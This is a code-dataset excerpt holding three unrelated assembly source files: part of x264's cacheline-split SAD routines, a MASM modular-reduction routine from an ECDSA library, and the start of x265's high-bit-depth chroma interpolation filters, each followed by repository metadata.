;=============================================================================
; SAD cacheline split
;=============================================================================
; Core2 (Conroe) can load unaligned data just as quickly as aligned data...
; unless the unaligned data spans the border between 2 cachelines, in which
; case it's really slow. The exact numbers may differ, but all Intel cpus prior
; to Nehalem have a large penalty for cacheline splits.
; (8-byte alignment exactly half way between two cachelines is ok though.)
; LDDQU was supposed to fix this, but it only works on Pentium 4.
; So in the split case we load aligned data and explicitly perform the
; alignment between registers. Like on archs that have only aligned loads,
; except complicated by the fact that PALIGNR takes only an immediate, not
; a variable alignment.
; It is also possible to hoist the realignment to the macroblock level (keep
; 2 copies of the reference frame, offset by 32 bytes), but the extra memory
; needed for that method makes it often slower.
; sad 16x16 costs on Core2:
; good offsets: 49 cycles (50/64 of all mvs)
; cacheline split: 234 cycles (14/64 of all mvs. ammortized: +40 cycles)
; page split: 3600 cycles (14/4096 of all mvs. ammortized: +11.5 cycles)
; cache or page split with palignr: 57 cycles (ammortized: +2 cycles)
; computed jump assumes this loop is exactly 80 bytes
%macro SAD16_CACHELINE_LOOP_SSE2 1 ; alignment
ALIGN 16
sad_w16_align%1_sse2:
movdqa xmm1, [r2+16]
movdqa xmm2, [r2+r3+16]
movdqa xmm3, [r2]
movdqa xmm4, [r2+r3]
pslldq xmm1, 16-%1
pslldq xmm2, 16-%1
psrldq xmm3, %1
psrldq xmm4, %1
por xmm1, xmm3
por xmm2, xmm4
psadbw xmm1, [r0]
psadbw xmm2, [r0+r1]
paddw xmm0, xmm1
paddw xmm0, xmm2
lea r0, [r0+2*r1]
lea r2, [r2+2*r3]
dec r4
jg sad_w16_align%1_sse2
ret
%endmacro
; computed jump assumes this loop is exactly 64 bytes
%macro SAD16_CACHELINE_LOOP_SSSE3 1 ; alignment
ALIGN 16
sad_w16_align%1_ssse3:
movdqa xmm1, [r2+16]
movdqa xmm2, [r2+r3+16]
palignr xmm1, [r2], %1
palignr xmm2, [r2+r3], %1
psadbw xmm1, [r0]
psadbw xmm2, [r0+r1]
paddw xmm0, xmm1
paddw xmm0, xmm2
lea r0, [r0+2*r1]
lea r2, [r2+2*r3]
dec r4
jg sad_w16_align%1_ssse3
ret
%endmacro
%macro SAD16_CACHELINE_FUNC 2 ; cpu, height
cglobal x264_pixel_sad_16x%2_cache64_%1
mov eax, r2m
and eax, 0x37
cmp eax, 0x30
jle x264_pixel_sad_16x%2_sse2
PROLOGUE 4,6
mov r4d, r2d
and r4d, 15
%ifidn %1, ssse3
shl r4d, 6 ; code size = 64
%else
lea r4, [r4*5]
shl r4d, 4 ; code size = 80
%endif
%define sad_w16_addr (sad_w16_align1_%1 + (sad_w16_align1_%1 - sad_w16_align2_%1))
%ifdef PIC
lea r5, [sad_w16_addr GLOBAL]
add r5, r4
%else
lea r5, [sad_w16_addr + r4 GLOBAL]
%endif
and r2, ~15
mov r4d, %2/2
pxor xmm0, xmm0
call r5
movhlps xmm1, xmm0
paddw xmm0, xmm1
movd eax, xmm0
RET
%endmacro
%macro SAD_CACHELINE_START_MMX2 4 ; width, height, iterations, cacheline
mov eax, r2m
and eax, 0x17|%1|(%4>>1)
cmp eax, 0x10|%1|(%4>>1)
jle x264_pixel_sad_%1x%2_mmxext
and eax, 7
shl eax, 3
movd mm6, [sw_64 GLOBAL]
movd mm7, eax
psubw mm6, mm7
PROLOGUE 4,5
and r2, ~7
mov r4d, %3
pxor mm0, mm0
%endmacro
%macro SAD16_CACHELINE_FUNC_MMX2 2 ; height, cacheline
cglobal x264_pixel_sad_16x%1_cache%2_mmxext
SAD_CACHELINE_START_MMX2 16, %1, %1, %2
.loop:
movq mm1, [r2]
movq mm2, [r2+8]
movq mm3, [r2+16]
movq mm4, mm2
psrlq mm1, mm7
psllq mm2, mm6
psllq mm3, mm6
psrlq mm4, mm7
por mm1, mm2
por mm3, mm4
psadbw mm1, [r0]
psadbw mm3, [r0+8]
paddw mm0, mm1
paddw mm0, mm3
add r2, r3
add r0, r1
dec r4
jg .loop
movd eax, mm0
RET
%endmacro
%macro SAD8_CACHELINE_FUNC_MMX2 2 ; height, cacheline
cglobal x264_pixel_sad_8x%1_cache%2_mmxext
SAD_CACHELINE_START_MMX2 8, %1, %1/2, %2
.loop:
movq mm1, [r2+8]
movq mm2, [r2+r3+8]
movq mm3, [r2]
movq mm4, [r2+r3]
psllq mm1, mm6
psllq mm2, mm6
psrlq mm3, mm7
psrlq mm4, mm7
por mm1, mm3
por mm2, mm4
psadbw mm1, [r0]
psadbw mm2, [r0+r1]
paddw mm0, mm1
paddw mm0, mm2
lea r2, [r2+2*r3]
lea r0, [r0+2*r1]
dec r4
jg .loop
movd eax, mm0
RET
%endmacro
; sad_x3/x4_cache64: check each mv.
; if they're all within a cacheline, use normal sad_x3/x4.
; otherwise, send them individually to sad_cache64.
%macro CHECK_SPLIT 3 ; pix, width, cacheline
mov eax, %1
and eax, 0x17|%2|(%3>>1)
cmp eax, 0x10|%2|(%3>>1)
jg .split
%endmacro
%macro SADX3_CACHELINE_FUNC 6 ; width, height, cacheline, normal_ver, split_ver, name
cglobal x264_pixel_sad_x3_%1x%2_cache%3_%6
CHECK_SPLIT r1m, %1, %3
CHECK_SPLIT r2m, %1, %3
CHECK_SPLIT r3m, %1, %3
jmp x264_pixel_sad_x3_%1x%2_%4
.split:
%ifdef ARCH_X86_64
PROLOGUE 6,7
%ifdef WIN64
movsxd r4, r4d
sub rsp, 8
%endif
push r3
push r2
mov r2, r1
mov r1, FENC_STRIDE
mov r3, r4
mov r10, r0
mov r11, r5
call x264_pixel_sad_%1x%2_cache%3_%5
mov [r11], eax
%ifdef WIN64
mov r2, [rsp]
%else
pop r2
%endif
mov r0, r10
call x264_pixel_sad_%1x%2_cache%3_%5
mov [r11+4], eax
%ifdef WIN64
mov r2, [rsp+8]
%else
pop r2
%endif
mov r0, r10
call x264_pixel_sad_%1x%2_cache%3_%5
mov [r11+8], eax
%ifdef WIN64
add rsp, 24
%endif
RET
%else
push edi
mov edi, [esp+28]
push dword [esp+24]
push dword [esp+16]
push dword 16
push dword [esp+20]
call x264_pixel_sad_%1x%2_cache%3_%5
mov ecx, [esp+32]
mov [edi], eax
mov [esp+8], ecx
call x264_pixel_sad_%1x%2_cache%3_%5
mov ecx, [esp+36]
mov [edi+4], eax
mov [esp+8], ecx
call x264_pixel_sad_%1x%2_cache%3_%5
mov [edi+8], eax
add esp, 16
pop edi
ret
%endif
%endmacro
%macro SADX4_CACHELINE_FUNC 6 ; width, height, cacheline, normal_ver, split_ver, name
cglobal x264_pixel_sad_x4_%1x%2_cache%3_%6
CHECK_SPLIT r1m, %1, %3
CHECK_SPLIT r2m, %1, %3
CHECK_SPLIT r3m, %1, %3
CHECK_SPLIT r4m, %1, %3
jmp x264_pixel_sad_x4_%1x%2_%4
.split:
%ifdef ARCH_X86_64
PROLOGUE 6,7
mov r11, r6mp
%ifdef WIN64
movsxd r5, r5d
%endif
push r4
push r3
push r2
mov r2, r1
mov r1, FENC_STRIDE
mov r3, r5
mov r10, r0
call x264_pixel_sad_%1x%2_cache%3_%5
mov [r11], eax
%ifdef WIN64
mov r2, [rsp]
%else
pop r2
%endif
mov r0, r10
call x264_pixel_sad_%1x%2_cache%3_%5
mov [r11+4], eax
%ifdef WIN64
mov r2, [rsp+8]
%else
pop r2
%endif
mov r0, r10
call x264_pixel_sad_%1x%2_cache%3_%5
mov [r11+8], eax
%ifdef WIN64
mov r2, [rsp+16]
%else
pop r2
%endif
mov r0, r10
call x264_pixel_sad_%1x%2_cache%3_%5
mov [r11+12], eax
%ifdef WIN64
add rsp, 24
%endif
RET
%else
push edi
mov edi, [esp+32]
push dword [esp+28]
push dword [esp+16]
push dword 16
push dword [esp+20]
call x264_pixel_sad_%1x%2_cache%3_%5
mov ecx, [esp+32]
mov [edi], eax
mov [esp+8], ecx
call x264_pixel_sad_%1x%2_cache%3_%5
mov ecx, [esp+36]
mov [edi+4], eax
mov [esp+8], ecx
call x264_pixel_sad_%1x%2_cache%3_%5
mov ecx, [esp+40]
mov [edi+8], eax
mov [esp+8], ecx
call x264_pixel_sad_%1x%2_cache%3_%5
mov [edi+12], eax
add esp, 16
pop edi
ret
%endif
%endmacro
%macro SADX34_CACHELINE_FUNC 1+
SADX3_CACHELINE_FUNC %1
SADX4_CACHELINE_FUNC %1
%endmacro
; instantiate the aligned sads
%ifndef ARCH_X86_64
SAD16_CACHELINE_FUNC_MMX2 8, 32
SAD16_CACHELINE_FUNC_MMX2 16, 32
SAD8_CACHELINE_FUNC_MMX2 4, 32
SAD8_CACHELINE_FUNC_MMX2 8, 32
SAD8_CACHELINE_FUNC_MMX2 16, 32
SAD16_CACHELINE_FUNC_MMX2 8, 64
SAD16_CACHELINE_FUNC_MMX2 16, 64
%endif ; !ARCH_X86_64
SAD8_CACHELINE_FUNC_MMX2 4, 64
SAD8_CACHELINE_FUNC_MMX2 8, 64
SAD8_CACHELINE_FUNC_MMX2 16, 64
%ifndef ARCH_X86_64
SADX34_CACHELINE_FUNC 16, 16, 32, mmxext, mmxext, mmxext
SADX34_CACHELINE_FUNC 16, 8, 32, mmxext, mmxext, mmxext
SADX34_CACHELINE_FUNC 8, 16, 32, mmxext, mmxext, mmxext
SADX34_CACHELINE_FUNC 8, 8, 32, mmxext, mmxext, mmxext
SADX34_CACHELINE_FUNC 16, 16, 64, mmxext, mmxext, mmxext
SADX34_CACHELINE_FUNC 16, 8, 64, mmxext, mmxext, mmxext
%endif ; !ARCH_X86_64
SADX34_CACHELINE_FUNC 8, 16, 64, mmxext, mmxext, mmxext
SADX34_CACHELINE_FUNC 8, 8, 64, mmxext, mmxext, mmxext
%ifndef ARCH_X86_64
SAD16_CACHELINE_FUNC sse2, 8
SAD16_CACHELINE_FUNC sse2, 16
%assign i 1
%rep 15
SAD16_CACHELINE_LOOP_SSE2 i
%assign i i+1
%endrep
SADX34_CACHELINE_FUNC 16, 16, 64, sse2, sse2, sse2
SADX34_CACHELINE_FUNC 16, 8, 64, sse2, sse2, sse2
%endif ; !ARCH_X86_64
SADX34_CACHELINE_FUNC 8, 16, 64, sse2, mmxext, sse2
SAD16_CACHELINE_FUNC ssse3, 8
SAD16_CACHELINE_FUNC ssse3, 16
%assign i 1
%rep 15
SAD16_CACHELINE_LOOP_SSSE3 i
%assign i i+1
%endrep
SADX34_CACHELINE_FUNC 16, 16, 64, sse2, ssse3, ssse3
SADX34_CACHELINE_FUNC 16, 8, 64, sse2, ssse3, ssse3
| mdsalman729/flexpret_project | emulator/concurrit-poplsyntax/concurrit-poplsyntax/bench/x264/src/x264/common/x86/sad-a.asm | Assembly | bsd-3-clause | 37,970 |
.686p
.mmx
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
extern __mod:DWORD
extern __c:DWORD
include ..\..\lib\gfp.inc
.data?
modSpace VBIGINT<>
.code
modulo proc ptrA:DWORD, ptrC:DWORD
;c=a mod __mod
;HAC, Algorithm 14.47
pushad
mov esi, dword ptr [esp+20h+4] ;ptrA
mov edi, offset modSpace ;8 DD
mov ebx, dword ptr [esp+20h+8] ;ptrC
lea ebp, [esi+16]
invoke copy, esi, ebx
@@: invoke comparezero, ebp
jz @F
invoke multiply, ebp, offset __c, edi
invoke addmod, edi, ebx, ebx ;out = r + r[i]
lea ebp, [edi+16] ;ptr q[i] = edi+16
jmp @B
@@: invoke compare, ebx, offset __mod
jb @F
invoke submod, ebx, offset __mod, ebx
jmp @B
@@: xor eax, eax
mov ecx, 8
cld
rep stosd
popad
ret 8
modulo endp
end | FloydZ/Crypto-Hash | ecdsa128/src/GFp_src/src/modulo.asm | Assembly | mit | 773 |
;*****************************************************************************
;* Copyright (C) 2013-2017 MulticoreWare, Inc
;*
;* Authors: Nabajit Deka <nabajit@multicorewareinc.com>
;* Murugan Vairavel <murugan@multicorewareinc.com>
;* Min Chen <chenm003@163.com>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*
;* This program is also available under a commercial proprietary license.
;* For more information, contact us at license @ x265.com.
;*****************************************************************************/
%include "x86inc.asm"
%include "x86util.asm"
%define INTERP_OFFSET_PP pd_32
%define INTERP_SHIFT_PP 6
%if BIT_DEPTH == 10
%define INTERP_SHIFT_PS 2
%define INTERP_OFFSET_PS pd_n32768
%define INTERP_SHIFT_SP 10
%define INTERP_OFFSET_SP v4_pd_524800
%elif BIT_DEPTH == 12
%define INTERP_SHIFT_PS 4
%define INTERP_OFFSET_PS pd_n131072
%define INTERP_SHIFT_SP 8
%define INTERP_OFFSET_SP pd_524416
%else
%error Unsupport bit depth!
%endif
SECTION_RODATA 32
v4_pd_524800: times 8 dd 524800
tab_c_n8192: times 8 dw -8192
const tab_ChromaCoeffV, times 8 dw 0, 64
times 8 dw 0, 0
times 8 dw -2, 58
times 8 dw 10, -2
times 8 dw -4, 54
times 8 dw 16, -2
times 8 dw -6, 46
times 8 dw 28, -4
times 8 dw -4, 36
times 8 dw 36, -4
times 8 dw -4, 28
times 8 dw 46, -6
times 8 dw -2, 16
times 8 dw 54, -4
times 8 dw -2, 10
times 8 dw 58, -2
tab_ChromaCoeffVer: times 8 dw 0, 64
times 8 dw 0, 0
times 8 dw -2, 58
times 8 dw 10, -2
times 8 dw -4, 54
times 8 dw 16, -2
times 8 dw -6, 46
times 8 dw 28, -4
times 8 dw -4, 36
times 8 dw 36, -4
times 8 dw -4, 28
times 8 dw 46, -6
times 8 dw -2, 16
times 8 dw 54, -4
times 8 dw -2, 10
times 8 dw 58, -2
SECTION .text
cextern pd_8
cextern pd_32
cextern pw_pixel_max
cextern pd_524416
cextern pd_n32768
cextern pd_n131072
cextern pw_2000
cextern idct8_shuf2
%macro PROCESS_CHROMA_SP_W4_4R 0
movq m0, [r0]
movq m1, [r0 + r1]
punpcklwd m0, m1 ;m0=[0 1]
pmaddwd m0, [r6 + 0 *32] ;m0=[0+1] Row1
lea r0, [r0 + 2 * r1]
movq m4, [r0]
punpcklwd m1, m4 ;m1=[1 2]
pmaddwd m1, [r6 + 0 *32] ;m1=[1+2] Row2
movq m5, [r0 + r1]
punpcklwd m4, m5 ;m4=[2 3]
pmaddwd m2, m4, [r6 + 0 *32] ;m2=[2+3] Row3
pmaddwd m4, [r6 + 1 * 32]
paddd m0, m4 ;m0=[0+1+2+3] Row1 done
lea r0, [r0 + 2 * r1]
movq m4, [r0]
punpcklwd m5, m4 ;m5=[3 4]
pmaddwd m3, m5, [r6 + 0 *32] ;m3=[3+4] Row4
pmaddwd m5, [r6 + 1 * 32]
paddd m1, m5 ;m1 = [1+2+3+4] Row2
movq m5, [r0 + r1]
punpcklwd m4, m5 ;m4=[4 5]
pmaddwd m4, [r6 + 1 * 32]
paddd m2, m4 ;m2=[2+3+4+5] Row3
movq m4, [r0 + 2 * r1]
punpcklwd m5, m4 ;m5=[5 6]
pmaddwd m5, [r6 + 1 * 32]
paddd m3, m5 ;m3=[3+4+5+6] Row4
%endmacro
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert_%3_%1x%2(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_SS 4
INIT_XMM sse2
cglobal interp_4tap_vert_%3_%1x%2, 5, 7, %4 ,0-gprsize
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r6, [r5 + r4]
%else
lea r6, [tab_ChromaCoeffV + r4]
%endif
mov dword [rsp], %2/4
%ifnidn %3, ss
%ifnidn %3, ps
mova m7, [pw_pixel_max]
%ifidn %3, pp
mova m6, [INTERP_OFFSET_PP]
%else
mova m6, [INTERP_OFFSET_SP]
%endif
%else
mova m6, [INTERP_OFFSET_PS]
%endif
%endif
.loopH:
mov r4d, (%1/4)
.loopW:
PROCESS_CHROMA_SP_W4_4R
%ifidn %3, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
packssdw m0, m1
packssdw m2, m3
%elifidn %3, ps
paddd m0, m6
paddd m1, m6
paddd m2, m6
paddd m3, m6
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
%else
paddd m0, m6
paddd m1, m6
paddd m2, m6
paddd m3, m6
%ifidn %3, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
pxor m5, m5
CLIPW2 m0, m2, m5, m7
%endif
movh [r2], m0
movhps [r2 + r3], m0
lea r5, [r2 + 2 * r3]
movh [r5], m2
movhps [r5 + r3], m2
lea r5, [4 * r1 - 2 * 4]
sub r0, r5
add r2, 2 * 4
dec r4d
jnz .loopW
lea r0, [r0 + 4 * r1 - 2 * %1]
lea r2, [r2 + 4 * r3 - 2 * %1]
dec dword [rsp]
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_SS 4, 4, ss, 6
FILTER_VER_CHROMA_SS 4, 8, ss, 6
FILTER_VER_CHROMA_SS 16, 16, ss, 6
FILTER_VER_CHROMA_SS 16, 8, ss, 6
FILTER_VER_CHROMA_SS 16, 12, ss, 6
FILTER_VER_CHROMA_SS 12, 16, ss, 6
FILTER_VER_CHROMA_SS 16, 4, ss, 6
FILTER_VER_CHROMA_SS 4, 16, ss, 6
FILTER_VER_CHROMA_SS 32, 32, ss, 6
FILTER_VER_CHROMA_SS 32, 16, ss, 6
FILTER_VER_CHROMA_SS 16, 32, ss, 6
FILTER_VER_CHROMA_SS 32, 24, ss, 6
FILTER_VER_CHROMA_SS 24, 32, ss, 6
FILTER_VER_CHROMA_SS 32, 8, ss, 6
FILTER_VER_CHROMA_SS 4, 4, ps, 7
FILTER_VER_CHROMA_SS 4, 8, ps, 7
FILTER_VER_CHROMA_SS 16, 16, ps, 7
FILTER_VER_CHROMA_SS 16, 8, ps, 7
FILTER_VER_CHROMA_SS 16, 12, ps, 7
FILTER_VER_CHROMA_SS 12, 16, ps, 7
FILTER_VER_CHROMA_SS 16, 4, ps, 7
FILTER_VER_CHROMA_SS 4, 16, ps, 7
FILTER_VER_CHROMA_SS 32, 32, ps, 7
FILTER_VER_CHROMA_SS 32, 16, ps, 7
FILTER_VER_CHROMA_SS 16, 32, ps, 7
FILTER_VER_CHROMA_SS 32, 24, ps, 7
FILTER_VER_CHROMA_SS 24, 32, ps, 7
FILTER_VER_CHROMA_SS 32, 8, ps, 7
FILTER_VER_CHROMA_SS 4, 4, sp, 8
FILTER_VER_CHROMA_SS 4, 8, sp, 8
FILTER_VER_CHROMA_SS 16, 16, sp, 8
FILTER_VER_CHROMA_SS 16, 8, sp, 8
FILTER_VER_CHROMA_SS 16, 12, sp, 8
FILTER_VER_CHROMA_SS 12, 16, sp, 8
FILTER_VER_CHROMA_SS 16, 4, sp, 8
FILTER_VER_CHROMA_SS 4, 16, sp, 8
FILTER_VER_CHROMA_SS 32, 32, sp, 8
FILTER_VER_CHROMA_SS 32, 16, sp, 8
FILTER_VER_CHROMA_SS 16, 32, sp, 8
FILTER_VER_CHROMA_SS 32, 24, sp, 8
FILTER_VER_CHROMA_SS 24, 32, sp, 8
FILTER_VER_CHROMA_SS 32, 8, sp, 8
FILTER_VER_CHROMA_SS 4, 4, pp, 8
FILTER_VER_CHROMA_SS 4, 8, pp, 8
FILTER_VER_CHROMA_SS 16, 16, pp, 8
FILTER_VER_CHROMA_SS 16, 8, pp, 8
FILTER_VER_CHROMA_SS 16, 12, pp, 8
FILTER_VER_CHROMA_SS 12, 16, pp, 8
FILTER_VER_CHROMA_SS 16, 4, pp, 8
FILTER_VER_CHROMA_SS 4, 16, pp, 8
FILTER_VER_CHROMA_SS 32, 32, pp, 8
FILTER_VER_CHROMA_SS 32, 16, pp, 8
FILTER_VER_CHROMA_SS 16, 32, pp, 8
FILTER_VER_CHROMA_SS 32, 24, pp, 8
FILTER_VER_CHROMA_SS 24, 32, pp, 8
FILTER_VER_CHROMA_SS 32, 8, pp, 8
FILTER_VER_CHROMA_SS 16, 24, ss, 6
FILTER_VER_CHROMA_SS 12, 32, ss, 6
FILTER_VER_CHROMA_SS 4, 32, ss, 6
FILTER_VER_CHROMA_SS 32, 64, ss, 6
FILTER_VER_CHROMA_SS 16, 64, ss, 6
FILTER_VER_CHROMA_SS 32, 48, ss, 6
FILTER_VER_CHROMA_SS 24, 64, ss, 6
FILTER_VER_CHROMA_SS 16, 24, ps, 7
FILTER_VER_CHROMA_SS 12, 32, ps, 7
FILTER_VER_CHROMA_SS 4, 32, ps, 7
FILTER_VER_CHROMA_SS 32, 64, ps, 7
FILTER_VER_CHROMA_SS 16, 64, ps, 7
FILTER_VER_CHROMA_SS 32, 48, ps, 7
FILTER_VER_CHROMA_SS 24, 64, ps, 7
FILTER_VER_CHROMA_SS 16, 24, sp, 8
FILTER_VER_CHROMA_SS 12, 32, sp, 8
FILTER_VER_CHROMA_SS 4, 32, sp, 8
FILTER_VER_CHROMA_SS 32, 64, sp, 8
FILTER_VER_CHROMA_SS 16, 64, sp, 8
FILTER_VER_CHROMA_SS 32, 48, sp, 8
FILTER_VER_CHROMA_SS 24, 64, sp, 8
FILTER_VER_CHROMA_SS 16, 24, pp, 8
FILTER_VER_CHROMA_SS 12, 32, pp, 8
FILTER_VER_CHROMA_SS 4, 32, pp, 8
FILTER_VER_CHROMA_SS 32, 64, pp, 8
FILTER_VER_CHROMA_SS 16, 64, pp, 8
FILTER_VER_CHROMA_SS 32, 48, pp, 8
FILTER_VER_CHROMA_SS 24, 64, pp, 8
FILTER_VER_CHROMA_SS 48, 64, ss, 6
FILTER_VER_CHROMA_SS 64, 48, ss, 6
FILTER_VER_CHROMA_SS 64, 64, ss, 6
FILTER_VER_CHROMA_SS 64, 32, ss, 6
FILTER_VER_CHROMA_SS 64, 16, ss, 6
FILTER_VER_CHROMA_SS 48, 64, ps, 7
FILTER_VER_CHROMA_SS 64, 48, ps, 7
FILTER_VER_CHROMA_SS 64, 64, ps, 7
FILTER_VER_CHROMA_SS 64, 32, ps, 7
FILTER_VER_CHROMA_SS 64, 16, ps, 7
FILTER_VER_CHROMA_SS 48, 64, sp, 8
FILTER_VER_CHROMA_SS 64, 48, sp, 8
FILTER_VER_CHROMA_SS 64, 64, sp, 8
FILTER_VER_CHROMA_SS 64, 32, sp, 8
FILTER_VER_CHROMA_SS 64, 16, sp, 8
FILTER_VER_CHROMA_SS 48, 64, pp, 8
FILTER_VER_CHROMA_SS 64, 48, pp, 8
FILTER_VER_CHROMA_SS 64, 64, pp, 8
FILTER_VER_CHROMA_SS 64, 32, pp, 8
FILTER_VER_CHROMA_SS 64, 16, pp, 8
%macro PROCESS_CHROMA_SP_W2_4R 1
movd m0, [r0]
movd m1, [r0 + r1]
punpcklwd m0, m1 ;m0=[0 1]
lea r0, [r0 + 2 * r1]
movd m2, [r0]
punpcklwd m1, m2 ;m1=[1 2]
punpcklqdq m0, m1 ;m0=[0 1 1 2]
pmaddwd m0, [%1 + 0 *32] ;m0=[0+1 1+2] Row 1-2
movd m1, [r0 + r1]
punpcklwd m2, m1 ;m2=[2 3]
lea r0, [r0 + 2 * r1]
movd m3, [r0]
punpcklwd m1, m3 ;m2=[3 4]
punpcklqdq m2, m1 ;m2=[2 3 3 4]
pmaddwd m4, m2, [%1 + 1 * 32] ;m4=[2+3 3+4] Row 1-2
pmaddwd m2, [%1 + 0 * 32] ;m2=[2+3 3+4] Row 3-4
paddd m0, m4 ;m0=[0+1+2+3 1+2+3+4] Row 1-2
movd m1, [r0 + r1]
punpcklwd m3, m1 ;m3=[4 5]
movd m4, [r0 + 2 * r1]
punpcklwd m1, m4 ;m1=[5 6]
punpcklqdq m3, m1 ;m2=[4 5 5 6]
pmaddwd m3, [%1 + 1 * 32] ;m3=[4+5 5+6] Row 3-4
paddd m2, m3 ;m2=[2+3+4+5 3+4+5+6] Row 3-4
%endmacro
;---------------------------------------------------------------------------------------------------------------------
; void interp_4tap_vertical_%2_2x%1(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;---------------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W2 3
INIT_XMM sse4
cglobal interp_4tap_vert_%2_2x%1, 5, 6, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, (%1/4)
%ifnidn %2, ss
%ifnidn %2, ps
pxor m7, m7
mova m6, [pw_pixel_max]
%ifidn %2, pp
mova m5, [INTERP_OFFSET_PP]
%else
mova m5, [INTERP_OFFSET_SP]
%endif
%else
mova m5, [INTERP_OFFSET_PS]
%endif
%endif
.loopH:
PROCESS_CHROMA_SP_W2_4R r5
%ifidn %2, ss
psrad m0, 6
psrad m2, 6
packssdw m0, m2
%elifidn %2, ps
paddd m0, m5
paddd m2, m5
psrad m0, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
packssdw m0, m2
%else
paddd m0, m5
paddd m2, m5
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
%endif
packusdw m0, m2
CLIPW m0, m7, m6
%endif
movd [r2], m0
pextrd [r2 + r3], m0, 1
lea r2, [r2 + 2 * r3]
pextrd [r2], m0, 2
pextrd [r2 + r3], m0, 3
lea r2, [r2 + 2 * r3]
dec r4d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_W2 4, ss, 5
FILTER_VER_CHROMA_W2 8, ss, 5
FILTER_VER_CHROMA_W2 4, pp, 8
FILTER_VER_CHROMA_W2 8, pp, 8
FILTER_VER_CHROMA_W2 4, ps, 6
FILTER_VER_CHROMA_W2 8, ps, 6
FILTER_VER_CHROMA_W2 4, sp, 8
FILTER_VER_CHROMA_W2 8, sp, 8
FILTER_VER_CHROMA_W2 16, ss, 5
FILTER_VER_CHROMA_W2 16, pp, 8
FILTER_VER_CHROMA_W2 16, ps, 6
FILTER_VER_CHROMA_W2 16, sp, 8
;---------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert_%1_4x2(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;---------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W4 3
INIT_XMM sse4
cglobal interp_4tap_vert_%2_4x%1, 5, 6, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
%ifnidn %2, 2
mov r4d, %1/2
%endif
%ifnidn %2, ss
%ifnidn %2, ps
pxor m6, m6
mova m5, [pw_pixel_max]
%ifidn %2, pp
mova m4, [INTERP_OFFSET_PP]
%else
mova m4, [INTERP_OFFSET_SP]
%endif
%else
mova m4, [INTERP_OFFSET_PS]
%endif
%endif
%ifnidn %2, 2
.loop:
%endif
movh m0, [r0]
movh m1, [r0 + r1]
punpcklwd m0, m1 ;m0=[0 1]
pmaddwd m0, [r5 + 0 *32] ;m0=[0+1] Row1
lea r0, [r0 + 2 * r1]
movh m2, [r0]
punpcklwd m1, m2 ;m1=[1 2]
pmaddwd m1, [r5 + 0 *32] ;m1=[1+2] Row2
movh m3, [r0 + r1]
punpcklwd m2, m3 ;m4=[2 3]
pmaddwd m2, [r5 + 1 * 32]
paddd m0, m2 ;m0=[0+1+2+3] Row1 done
movh m2, [r0 + 2 * r1]
punpcklwd m3, m2 ;m5=[3 4]
pmaddwd m3, [r5 + 1 * 32]
paddd m1, m3 ;m1=[1+2+3+4] Row2 done
%ifidn %2, ss
psrad m0, 6
psrad m1, 6
packssdw m0, m1
%elifidn %2, ps
paddd m0, m4
paddd m1, m4
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
packssdw m0, m1
%else
paddd m0, m4
paddd m1, m4
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
%endif
packusdw m0, m1
CLIPW m0, m6, m5
%endif
movh [r2], m0
movhps [r2 + r3], m0
%ifnidn %2, 2
lea r2, [r2 + r3 * 2]
dec r4d
jnz .loop
%endif
RET
%endmacro
FILTER_VER_CHROMA_W4 2, ss, 4
FILTER_VER_CHROMA_W4 2, pp, 7
FILTER_VER_CHROMA_W4 2, ps, 5
FILTER_VER_CHROMA_W4 2, sp, 7
FILTER_VER_CHROMA_W4 4, ss, 4
FILTER_VER_CHROMA_W4 4, pp, 7
FILTER_VER_CHROMA_W4 4, ps, 5
FILTER_VER_CHROMA_W4 4, sp, 7
;-------------------------------------------------------------------------------------------------------------------
